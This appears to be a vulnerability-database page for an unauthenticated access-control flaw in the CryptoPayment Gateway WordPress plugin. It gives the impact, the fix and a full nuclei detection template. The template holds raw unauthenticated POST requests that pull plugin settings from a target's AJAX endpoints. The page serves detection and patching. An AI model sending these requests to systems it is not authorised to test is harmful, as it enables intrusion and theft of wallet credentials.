Browse / CVEs / CVE-2026-81648
CVE-2026-81648· cryptopayment-gateway / cryptopayment-gateway· CWE-284
CryptoPayment Gateway <= 1.2.2 - Unauthenticated Broken Access Control
criticalseverity
10CVSS score
0.5%likelihood of exploitation, next 30 days
44%of all CVEs are less likely
Readycheck to confirm it
CryptoPayment Gateway WordPress plugin 1.2.1 to 1.2.2 contains a broken access control caused by missing authorization check on an AJAX endpoint, letting unauthenticated attackers perform administrative operations including file deletion and credential recovery.
Impact
Unauthenticated attackers can delete files, modify configurations, and recover wallet credentials, leading to full system compromise.
Fix
Update to a version later than 1.2.2 or the latest available version.
How to confirm it
Send: POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax1.php
Positive when: status_code == 200 and contains(to_lower(body), "security error")
Send: POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.php
Positive when: status_code == 200 and contains(body, "success") and !contains(to_lower(body), "security error")Run it with nuclei: nuclei -id CVE-2026-81648 -u <target>
The full check
id: CVE-2026-81648
info:
name: CryptoPayment Gateway <= 1.2.2 - Unauthenticated Broken Access Control
author: DhiyaneshDk
severity: critical
description: |
CryptoPayment Gateway WordPress plugin 1.2.1 to 1.2.2 contains a broken access control caused by missing authorization check on an AJAX endpoint, letting unauthenticated attackers perform administrative operations including file deletion and credential recovery.
remediation: |
Update to a version later than 1.2.2 or the latest available version.
impact: |
Unauthenticated attackers can delete files, modify configurations, and recover wallet credentials, leading to full system compromise.
reference:
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
- https://nvd.nist.gov/vuln/detail/CVE-2026-81648
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2026-81648
epss-score: 0.00502
epss-percentile: 0.43544
cwe-id: CWE-284
metadata:
verified: true
max-request: 2
vendor: cryptopayment-gateway
product: cryptopayment-gateway
framework: wordpress
tags: cve,cve2026,wordpress,wp-plugin,wp,cryptopayment-gateway,access-control,unauth,vkev
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax1.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data={"function":"get-settings"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(to_lower(body), "security error")'
condition: and
internal: true
- raw:
- |
POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data={"function":"get-settings"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "success")'
- '!contains(to_lower(body), "security error")'
condition: andReferences
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
- https://nvd.nist.gov/vuln/detail/CVE-2026-81648
Use this check only on systems you are authorised to test. Where the data comes from